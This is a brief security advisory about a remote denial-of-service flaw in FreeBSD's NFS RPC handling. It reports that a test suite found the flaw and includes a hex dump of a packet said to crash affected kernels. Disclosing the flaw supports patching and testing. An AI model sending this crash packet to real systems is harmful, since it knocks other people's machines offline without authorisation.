FreeBSD Remote NFS RPC Request Denial of Service Vulnerability

This issue was discovered by the ProtoVer NFS testsuite 1.0 package, and can be reproduced by it.

The following packet data hex dump is sufficient to crash an affected kernel:

80 00 00 00 00 00 00 01 00 00 00 00 00 00 00 02
00 01 86 a5 00 00 00 01 00 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04
2f 74 6d 70


 

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